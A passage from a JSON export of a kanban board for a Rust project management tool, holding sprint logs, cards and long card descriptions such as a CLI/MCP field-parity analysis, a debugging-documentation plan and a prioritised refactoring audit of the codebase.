              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.742994852Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989079519Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "unify the sprint details view",
          "updated_at": "2026-04-04T23:33:28.989081252Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 23
      },
      {
        "archived_at": "2026-05-08T00:45:13.894154748Z",
        "card": {
          "card_number": 1,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-11-02T09:56:38.831694Z",
          "description": null,
          "due_date": null,
          "id": "7e050ec1-2048-4666-84c1-aa0165277528",
          "points": 1,
          "position": 38,
          "priority": "Low",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2025-11-17T22:41:01.506770Z",
              "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
              "sprint_name": "a-hallowed-week",
              "sprint_number": 7,
              "started_at": "2025-11-02T16:58:33.071660Z",
              "status": "Active"
            },
            {
              "ended_at": "2025-12-15T20:35:57.264717Z",
              "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
              "sprint_name": "progression-is-progress",
              "sprint_number": 8,
              "started_at": "2025-11-17T22:41:01.506776Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-01-10T15:31:10.375007Z",
              "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
              "sprint_name": "a-merry-christmas",
              "sprint_number": 10,
              "started_at": "2025-12-15T20:35:57.264717Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-02-01T19:39:40.784605Z",
              "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
              "sprint_name": "an-eventful-october",
              "sprint_number": 1,
              "started_at": "2026-01-10T15:31:10.375007Z",
              "status": "Completed"
            },
            {
              "ended_at": "2026-03-25T00:22:42.743008468Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2026-02-01T19:39:40.784606Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989190099Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.743008730Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989190350Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "filter out completed sprint from sprint assign",
          "updated_at": "2026-04-04T23:33:28.989191675Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 38
      },
      {
        "archived_at": "2026-05-10T17:32:15.829027063Z",
        "card": {
          "card_number": 381,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2026-04-27T10:16:09.994052693Z",
          "description": null,
          "due_date": null,
          "id": "58cfd421-f41a-4848-b1b1-e58693401e4b",
          "points": null,
          "position": 182,
          "priority": "Medium",
          "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
          "sprint_logs": [
            {
              "ended_at": "2026-05-07T22:06:15.245181840Z",
              "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
              "sprint_name": "sphinx-centered",
              "sprint_number": 14,
              "started_at": "2026-04-29T04:53:21.126608172Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
              "sprint_name": "yarara-release",
              "sprint_number": 15,
              "started_at": "2026-05-07T22:06:15.245182263Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "test card",
          "updated_at": "2026-05-07T22:06:15.245182737Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 182
      },
      {
        "archived_at": "2026-05-11T19:38:36.944714449Z",
        "card": {
          "card_number": 424,
          "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
          "completed_at": null,
          "created_at": "2026-05-11T19:00:46.969552184Z",
          "description": "Add developer-facing documentation covering how to capture and interpret debug logs.\n\nDepends on KAN-422 (consolidated tracing init) being merged first — the docs should reflect the final, stable logging setup rather than the current three-path state.\n\nSuggested location: a new Debugging section in CONTRIBUTING.md. If it grows large enough, extract to DEBUGGING.md and link from there.\n\nContent to cover:\n\n1. The two env vars: KANBAN_DEBUG_LOG=<path> (redirects logs to file, required for TUI) and RUST_LOG=<level> (warn/debug/trace). Canonical invocation: RUST_LOG=trace KANBAN_DEBUG_LOG=/tmp/kanban.log kanban my-board.json\n\n2. Log level reference table: warn = default/unexpected conditions; debug = persistence, file-watch, save, build info (post-KAN-422); trace = everything + raw key events per keypress.\n\n3. Reading key event traces: explain raw key event lines (code, kind, modifiers). Show healthy vs broken Windows filter — one line vs two per keypress (the Press+Release pair).\n\n4. Useful grep patterns: grep raw key event, grep -o kind= for frequency count, grep -v to suppress key noise.\n\n5. Cross-platform note: RUST_LOG=trace is noisy in long TUI sessions — recommend grepping rather than reading raw output.",
          "due_date": null,
          "id": "26db2532-72db-4f52-97f2-4790cc4ad52d",
          "points": null,
          "position": 33,
          "priority": "Low",
          "sprint_id": null,
          "sprint_logs": [],
          "status": "Todo",
          "title": "Add logging/debugging documentation",
          "updated_at": "2026-05-11T19:00:46.969856637Z"
        },
        "original_column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "original_position": 33
      }
    ],
    "boards": [
      {
        "active_sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "card_counter": 457,
        "card_prefix": "KAN",
        "completion_column_id": null,
        "created_at": "2025-10-10T08:47:44.779097Z",
        "description": "Management of the **Kanban** project\n",
        "id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "name": "Kanban",
        "next_sprint_number": 8,
        "position": 0,
        "sprint_counters": {
          "KAN": 16
        },
        "sprint_duration_days": 7,
        "sprint_name_used_count": 11,
        "sprint_names": [
          "an-eventful-october",
          "an-experience-to-remember",
          "a-hallowed-week",
          "progression-is-progress",
          "full-bowling",
          "a-merry-christmas",
          "a-new-year",
          "moonshot",
          "a-catchy-spring",
          "sphinx-centered",
          "yarara-release"
        ],
        "sprint_prefix": "KAN",
        "task_list_view": "ColumnView",
        "task_sort_field": "UpdatedAt",
        "task_sort_order": "Descending",
        "updated_at": "2026-05-11T20:17:55.568740267Z"
      }
    ],
    "cards": [
      {
        "card_number": 1,
        "column_id": "7724ace0-bb87-4f48-bf98-e8f65acc55db",
        "completed_at": "2026-02-02T19:26:00.736845Z",
        "created_at": "2026-02-02T19:24:07.251563Z",
        "description": null,
        "due_date": null,
        "id": "b6ec50d0-a09d-44fc-976e-f1c4b01256c1",
        "points": null,
        "position": 0,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "card",
        "updated_at": "2026-02-02T19:26:00.736846Z"
      },
      {
        "card_number": 2,
        "column_id": "d77bb354-8781-44c0-8b49-06a038629eca",
        "completed_at": null,
        "created_at": "2026-02-02T19:24:09.264144Z",
        "description": "A description\n",
        "due_date": null,
        "id": "a33b027b-1d19-4ce9-89a8-5a339e062669",
        "points": null,
        "position": 0,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "second",
        "updated_at": "2026-02-02T19:26:19.218671Z"
      },
      {
        "card_number": 9,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T20:47:08.170395Z",
        "created_at": "2025-10-10T22:14:31.293267Z",
        "description": "- Be able to change the priority of a task\n\n",
        "due_date": null,
        "id": "eceed2ce-de5e-4166-95e7-7fb9c7e65b20",
        "points": 1,
        "position": 0,
        "priority": "Critical",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155906Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Change priority",
        "updated_at": "2025-10-16T20:47:08.170397Z"
      },
      {
        "card_number": 3,
        "column_id": "28c91933-5e8c-47ac-9b7d-87ceabbda0cd",
        "completed_at": null,
        "created_at": "2026-02-02T19:25:48.122033Z",
        "description": null,
        "due_date": null,
        "id": "00a84be2-2540-414d-8878-b93ac419b4a9",
        "points": null,
        "position": 0,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "new",
        "updated_at": "2026-02-02T19:25:48.122033Z"
      },
      {
        "card_number": 207,
        "column_id": "64e02b8a-c9a0-49dc-a21e-a20ed1620fa5",
        "completed_at": null,
        "created_at": "2026-02-02T19:47:42.519968Z",
        "description": "## Problem\n\nTUI can update all fields on BoardUpdate (10), CardUpdate (11), and SprintUpdate (7), but CLI and MCP can only update a subset:\n\n- **BoardUpdate**: 4/10 fields exposed (missing: task_sort_field, task_sort_order, sprint_duration_days, task_list_view, active_sprint_id, completion_column_id)\n- **CardUpdate**: 6/11 fields exposed (missing: position, column_id, sprint_id, assigned_prefix, card_prefix)\n- **SprintUpdate**: 5/7 fields exposed (missing: name_index, status)\n\nSome missing fields have dedicated methods (move_card, assign_card_to_sprint, activate/complete/cancel_sprint), so those are intentional. But `assigned_prefix`, `card_prefix` on cards and all the board settings have NO way to be set outside TUI.\n\n## Root Cause\n\nArchitectural asymmetry:\n\n1. **TUI** (`tui_context.rs`) operates directly on in-memory Rust structs. It constructs full `CardUpdate`/`BoardUpdate`/`SprintUpdate` structs and passes them to the command executor. No serialization boundary.\n\n2. **CLI** (`cli.rs` + handlers) parses command-line arguments via clap, then constructs the update structs from those args. If no clap flag exists for a field, it's unreachable.\n\n3. **MCP** (`context.rs`) builds CLI argument vectors and shells out to the kanban binary, parsing JSON responses. It inherits all CLI limitations.\n\nThe domain layer supports all fields. The bottleneck is entirely in CLI argument definitions.\n\n## Why This Happened\n\nThe KanbanOperations trait enforces method parity (all 37 operations exist everywhere), but it doesn't enforce field-level completeness within those methods. The trait signature is:\n\n```rust\nfn update_card(&mut self, id: Uuid, updates: CardUpdate) -> Result<Card>;\n```\n\nBoth TUI and CLI implement this, but TUI populates all CardUpdate fields while CLI only populates fields that have corresponding clap arguments.\n\n## Solution Options\n\n### Option A: Add missing CLI flags\nAdd clap arguments for all missing fields in the update commands. Straightforward but expands CLI surface area significantly.\n\nFiles to modify:\n- `crates/kanban-cli/src/cli.rs` - Add clap args\n- `crates/kanban-cli/src/handlers/card.rs` - Wire args to CardUpdate\n- `crates/kanban-cli/src/handlers/board.rs` - Wire args to BoardUpdate\n- MCP would automatically get parity since it delegates to CLI\n\n### Option B: Direct domain access for MCP\nHave MCP implement KanbanOperations by directly manipulating the data file (like TUI does) instead of shelling out to CLI. This would give MCP full field access without CLI changes.\n\nDownside: Duplicates file I/O logic that currently lives in CLI.\n\n### Option C: Extract shared library\nFactor out the file I/O and state management into a shared library that both TUI and a new \"direct\" MCP implementation can use. CLI remains a thin wrapper.\n\nThis is the cleanest long-term but highest effort.\n\n## Recommendation\n\nOption A is pragmatic for now. The missing fields are:\n- Card: `assigned_prefix`, `card_prefix` (2 fields)\n- Board: `task_sort_field`, `task_sort_order`, `sprint_duration_days`, `task_list_view`, `active_sprint_id`, `completion_column_id` (6 fields)\n\nCard prefixes are useful for CLI users. Board settings are more TUI-specific but could still be exposed.\n\n## Files Reference\n\n- Trait: `crates/kanban-domain/src/operations.rs:19-89`\n- TUI impl: `crates/kanban-tui/src/tui_context.rs:92-571`\n- CLI impl: `crates/kanban-cli/src/context.rs:172-685`\n- MCP impl: `crates/kanban-mcp/src/context.rs:121-554`\n- CLI args: `crates/kanban-cli/src/cli.rs`",
        "due_date": null,
        "id": "fefd78db-0350-49bd-b3d7-2d656fc92871",
        "points": null,
        "position": 0,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "CLI/MCP field parity gap caused by architectural asymmetry",
        "updated_at": "2026-02-02T19:47:42.519981Z"
      },
      {
        "card_number": 26,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-11T20:54:41.898524Z",
        "description": "So for now we just cut them with ... at the in before they hit the wall\n",
        "due_date": null,
        "id": "5e247e41-efdf-43cc-aa0f-daf25830fd1c",
        "points": 2,
        "position": 0,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448941Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155909Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:13.126154Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448942Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264679Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:13.126179Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374943Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264681Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784511Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374943Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742968307Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784511Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989221193Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742968515Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989221448Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "When titles are too long. they don't fit the tasks list",
        "updated_at": "2026-04-04T23:33:28.989222669Z"
      },
      {
        "card_number": 28,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-11T21:43:08.519830Z",
        "description": "This is apparently wrong\n\nWould like to keep the card details in the background\n\nThe same also goes for changing the points. So hitting `p` or `e` on the second (`2`) panel in card details\n",
        "due_date": null,
        "id": "ed48cbd0-7488-4b61-afe5-71851ed565c0",
        "points": 4,
        "position": 1,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448927Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155911Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:14.557226Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448927Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264771Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:14.557247Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374994Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264771Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784623Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374994Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742969827Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784623Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989149405Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742970077Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989149660Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "When setting the priority, the card details are closed and the lists are shown",
        "updated_at": "2026-04-04T23:33:28.989150783Z"
      },
      {
        "card_number": 223,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-03-21T21:42:58.529375797Z",
        "description": "## Summary\n\nDeep-dive audit across architecture, code reuse, abstractions, test structure, file sizes, functional composition, and overall quality. Prioritized by velocity impact (what unlocks faster development first).\n\n---\n\n## Priority 1 — App God Object\n**File**: `crates/kanban-tui/src/app.rs` (2,060 lines)\n**Velocity Impact**: Critical — every feature touches this file, causing constant merge conflicts\n\nThe `App` struct has 58 public fields and 37+ methods spanning: UI state, dialog modes, selection tracking, animation, search, filters, sorting, relationships, sprint assignment, file watching, and save workers. All handler files are just `impl App` extensions.\n\n**Fix**: Split into focused sub-structs: ModalState, SelectionState, FilterState, MultiSelectState, AnimationState, RelationshipState, DialogState.\n\n**Effort**: 4–6 days\n\n[x] 2026-04-06 22:53:41\n---\n\n## Priority 2 — Dialog System Consolidation\n**Files**: `handlers/dialog_handlers.rs`, `handlers/popup_handlers.rs`, `app.rs`, `ui.rs`, `DialogMode` enum\n**Velocity Impact**: Critical — adding one new dialog requires touching 4+ files\n\n`DialogMode` has 20+ variants. Each requires: an enum entry, a match arm in `handle_key_event()`, a render function in `ui.rs`, and a handler somewhere across 3 handler files.\n\n**Fix**: Create a `DialogState` trait. Each dialog becomes a self-contained struct. Adding a dialog = creating one file.\n\n**Effort**: 3–4 days\n\n---\n\n## Priority 3 — Keybinding System\n**Files**: `app.rs:336–730`, `keybindings/registry.rs`, `keybindings/*.rs`\n**Velocity Impact**: High — keybindings are hardcoded in two places; adding/changing a binding is risky\n\n`KeybindingRegistry` exists and generates help text but is NOT used for event routing. Actual dispatch happens in a giant raw match in `handle_key_event()` (lines 536–730).\n\n**Fix**: Make the registry the single source of truth. Route events through it. Makes keybindings user-configurable.\n\n**Effort**: 2–3 days\n\n[x] 2026-04-06 22:53:34\n---\n\n## Priority 4 — `ui.rs` Rendering Monolith Split\n**File**: `crates/kanban-tui/src/ui.rs` (1,792 lines)\n**Velocity Impact**: High — all render work lands in one file; unrelated UI changes conflict constantly\n\nContains all render functions for every view, every dialog, panels, footer, help overlay. 20+ dialog render functions all live here.\n\n**Fix**: Split into `ui/views/`, `ui/dialogs/` (one file per dialog), `ui/footer.rs`, `ui/help.rs`, `ui/banner.rs`.\n\n**Effort**: 2–3 days (mostly mechanical file splitting)\n\n[x] 2026-04-06 22:53:58 I think we can call this done right?\n---\n\n## Priority 5 — Context Triplication\n**Files**: `tui_context.rs` (583L), `kanban-cli/context.rs` (697L), `kanban-mcp/context.rs` (688L)\n**Velocity Impact**: High — same `KanbanOperations` impl copy-pasted 3 times; every domain change requires 3 edits\n\nAll three contexts implement `KanbanOperations` with nearly identical logic. `JsonFileStore` used directly in all three.\n\n**Fix**: Extract shared `BaseContext` into `kanban-domain` or a new `kanban-context` crate.\n\n**Effort**: 3–4 days\n\n---\n\n## Priority 6 — Test Structure (Shadow `tests/` Directories)\n**Velocity Impact**: Medium — hard to find, run, or scope tests; no isolated domain command tests\n\n`kanban-core`, `kanban-domain`, `kanban-persistence` all use inline `#[cfg(test)]`. `mockall` is in workspace but not used with `#[automock]`. Domain command files (`board_commands.rs`, `card_commands.rs`, etc.) have zero isolated unit tests.\n\n**Fix**: Move inline tests to `tests/` directories mirroring `src/`. Add `#[automock]` to persistence traits.\n\n**Effort**: 2–3 days\n\n---\n\n## Priority 7 — Handler Reorganization\n**Files**: `crates/kanban-tui/src/handlers/` (4,979 lines across 6 files)\n**Velocity Impact**: Medium — unclear where to add new behavior; handlers too long to scan\n\n- `detail_view_handlers.rs`: 3 functions, 1,056 lines (one fn is 280+ lines)\n- `count_headers_in_viewport()` duplicated between `navigation_handlers.rs:24` and `render_strategy.rs:17`\n- Column move-up/move-down are 90% identical (~90 lines duplicate logic)\n- Dialog match arm pattern repeated 8 times across handler files\n\n**Fix**: Reorganize by domain concern. Extract HOF for repeated dialog pattern. Deduplicate viewport helper.\n\n**Effort**: 2–3 days\n\n---\n\n## Priority 8 — Domain Model Sizes\n**Files**: `board.rs` (918L), `card.rs` (728L), `card_lifecycle.rs` (600L), `card_graph.rs` (636L)\n**Velocity Impact**: Medium — violates 300-line guideline 2–3x; slow to navigate\n\n**Fix**: Split `board.rs` → `board/mod.rs` + `board/operations.rs` + `board/serialization.rs`. Same for `card.rs`.\n\n**Effort**: 1–2 days\n\n---\n\n## Priority 9 — Type Safety via Newtypes\n**Files**: All `type XxxId = Uuid` declarations in domain models\n**Velocity Impact**: Medium — current aliases allow silently swapping IDs; bugs are slow to find\n\n`type BoardId = Uuid`, `type CardId = Uuid` etc. mean a fn taking `(card_id: Uuid, column_id: Uuid)` will compile fine if you swap the args.\n\n**Fix**: Convert to newtypes: `pub struct CardId(Uuid)`. Zero runtime cost.\n\n**Effort**: 1–2 days\n\n---\n\n## Priority 10 — Remove Dead Abstractions\n**File**: `kanban-core/src/traits.rs` lines 5–20\n**Velocity Impact**: Low — but causes confusion\n\n`Repository<T, Id>` and `Service<T, Id>` traits are defined but never implemented anywhere. CLAUDE.md references a `kanban-db` crate that doesn't exist.\n\n**Fix**: Delete unused traits, update CLAUDE.md to reflect actual architecture.\n\n**Effort**: 0.5 days\n\n---\n\n## Summary Table\n\n| # | Area | Velocity Impact | Effort |\n|---|------|----------------|--------|\n| 1 | App God Object (`app.rs` 2,060L, 58 fields) | Critical | 4–6 days |\n| 2 | Dialog System (20+ variants, 4-file touch) | Critical | 3–4 days |\n| 3 | Keybinding System (hardcoded in 2 places) | High | 2–3 days |\n| 4 | `ui.rs` Split (1,792L monolith) | High | 2–3 days |\n| 5 | Context Triplication (3x copy-paste) | High | 3–4 days |\n| 6 | Test Structure (inline only, no automock) | Medium | 2–3 days |\n| 7 | Handler Reorganization (4,979L, duplication) | Medium | 2–3 days |\n| 8 | Domain Model Sizes (board 918L, card 728L) | Medium | 1–2 days |\n| 9 | Newtype IDs (type aliases, no type safety) | Medium | 1–2 days |\n| 10 | Dead Abstractions (Repository/Service traits) | Low | 0.5 days |\n\n**Total**: ~21–31 days. Done in order, each step makes the next faster.\n\n---\n\nCodebase Quality Audit — Prioritized Findings\n\nScoring Key\n\n- Velocity Impact: How much faster will the team move after this refactor?\n- Effort: Low / Medium / High (in dev-days)\n\n---\nPriority 1 — App God Object\n\nFiles: crates/kanban-tui/src/app.rs (2,060 lines)\nVelocity Impact: 🔴 Critical — every feature touches this file, causing constant merge conflicts and context overload\n\nThe App struct has 58 public fields and 37+ methods spanning: UI state, dialog modes, selection tracking, animation, search, filters,\nsorting, relationships, sprint assignment, file watching, and save workers. All handler files (card_handlers.rs, navigation_handlers.rs,\netc.) are just impl App extensions that mutate any of these fields freely.\n\nWhat to do: Split into focused sub-structs:\n```sh\nModalState        { mode, mode_stack }\nSelectionState    { board_selection, card_focus, board_focus, focus }\nFilterState       { active_sprint_filters, hide_assigned, sort_field, sort_order }\nMultiSelectState  { selected_cards, selection_mode_active, sprint_assign_selection }\nAnimationState    { animating_cards }\nRelationshipState { relationship_card_ids, parents_list, children_list }\nDialogState       { input, priority_selection, column_selection, import_files }\n```\n\nEffort: 4–6 days | Payoff: Every handler/render file becomes independently navigable. New contributors can own one sub-struct without\nreading all 2,060 lines.\n\n---\nPriority 2 — Dialog System Consolidation\n\nFiles: handlers/dialog_handlers.rs, handlers/popup_handlers.rs, app.rs, ui.rs, DialogMode enum\nVelocity Impact: 🔴 Critical — adding one new dialog currently requires touching 4+ files in 4 different places\n\nDialogMode has 20+ variants. Each one requires: an enum entry, a match arm in handle_key_event(), a render function in ui.rs, and a\nhandler somewhere across 3 handler files. There is no single place to add a dialog.\n\nWhat to do: Create a DialogState trait:\n\n```rust\npub trait DialogState: Send {\n    fn handle_key(&mut self, key: KeyEvent) -> DialogResult;\n    fn render(&self, frame: &mut Frame, area: Rect);\n}\n```\n\nEach dialog becomes a self-contained struct. Adding a dialog = creating one file.\n\nEffort: 3–4 days | Payoff: Dialogs become plug-and-play. Directly reduces the cost of new features.\n\n---\nPriority 3 — Keybinding System\n\nFiles: `app.rs:336–730`, `keybindings/registry.rs`, `keybindings/*.rs`\nVelocity Impact: 🟠 High — keybindings are hardcoded in two places; adding/changing a binding is risky\n\nThe `KeybindingRegistry` exists and generates help text — but is not used for event routing. Actual dispatch happens in a giant raw match in\n `handle_key_event()` (lines 536–730). Key detection uses a fragile string-parsing approach (`keycode_matches_binding_key()`, lines 336–391).\n\nWhat to do: Make the registry the single source of truth. Route events through it. This also makes keybindings configurable by users.\n\nEffort: 2–3 days | Payoff: Changing or adding keybindings goes from risky multi-file surgery to a one-liner data change.\n\n---\nPriority 4 — `ui.rs` Rendering Monolith Split\n\nFiles: `crates/kanban-tui/src/ui.rs` (1,792 lines)\nVelocity Impact: 🟠 High — all render work lands in one file; unrelated UI changes conflict constantly\n\nContains all render functions for every view, every dialog, panels, footer, help overlay. 20+ dialog render functions all live here.\n\nWhat to do:\n\n```sh\nui/\n├── mod.rs          (entry point only)\n├── views/\n│   ├── main.rs\n│   ├── card_detail.rs\n│   ├── board_detail.rs\n│   └── sprint_detail.rs\n├── dialogs/        (one file per DialogMode)\n├── footer.rs\n├── help.rs\n└── banner.rs\n```\n\nEffort: 2–3 days (mostly mechanical file splitting) | Payoff: Parallel UI work without conflicts. Each dialog/view is independently\neditable.\n\n---\nPriority 5 — Context Triplication\n\nFiles: kanban-tui/src/tui_context.rs (583 lines), kanban-cli/src/context.rs (697 lines), kanban-mcp/src/context.rs (688 lines)\nVelocity Impact: 🟠 High — same KanbanOperations impl copy-pasted 3 times; every domain operation change requires 3 edits\n\nAll three contexts implement KanbanOperations with nearly identical logic but divergent concrete types (JsonFileStore used directly in all\n three).\n\nWhat to do: Extract a shared BaseContext (or KanbanContextImpl) into kanban-domain or a new kanban-context crate. Let each consumer\nspecialize only what differs (persistence transport, output format).\n\nEffort: 3–4 days | Payoff: Domain-level operation changes propagate automatically to CLI, TUI, and MCP.\n\n---\nPriority 6 — Test Structure (Shadow tests/ Directories)\n\nVelocity Impact: 🟡 Medium — currently hard to find, run, or scope tests\n\nWhat exists:\n- `kanban-tui/tests/` — 6 integration test files (good)\n- `kanban-cli/tests/` — 1 large integration test file (good)\n- `kanban-mcp/tests/` — 1 integration test file (good)\n- `kanban-core`, `kanban-domain`, `kanban-persistence` — all tests are inline (`#[cfg(test)]` at bottom of each .rs file)\n\nWhat's missing: Unit tests for kanban-domain commands (board_commands.rs, card_commands.rs, column_commands.rs, sprint_commands.rs — zero\nisolated tests). mockall is in the workspace but not used with #[automock].\n\nWhat to do: Move domain + persistence inline tests to tests/ directories mirroring src/. Add #[automock] to persistence traits so TUI/CLI\ncan be tested with in-memory stores.\n\nEffort: 2–3 days | Payoff: Faster test discovery, ability to run domain tests in isolation, unblocks testing handlers without full\npersistence setup.\n\n---\nPriority 7 — Handler Reorganization\n\nFiles: `crates/kanban-tui/src/handlers/` (4,979 lines total across 6 files)\nVelocity Impact: 🟡 Medium — unclear where to add new behavior; handlers too long to scan\n\nProblems:\n- `detail_view_handlers.rs` has 3 functions totaling 1,056 lines (one function is 280+ lines)\n- `handle_card_detail_key()` and `handle_board_detail_key()` are 230–280 line match blocks\n- `count_headers_in_viewport()` is duplicated between `navigation_handlers.rs:24` and `render_strategy.rs:17`\n- Column move-up/move-down are 90% identical (~90 lines of duplicate logic)\n\nWhat to do: Reorganize by domain concern 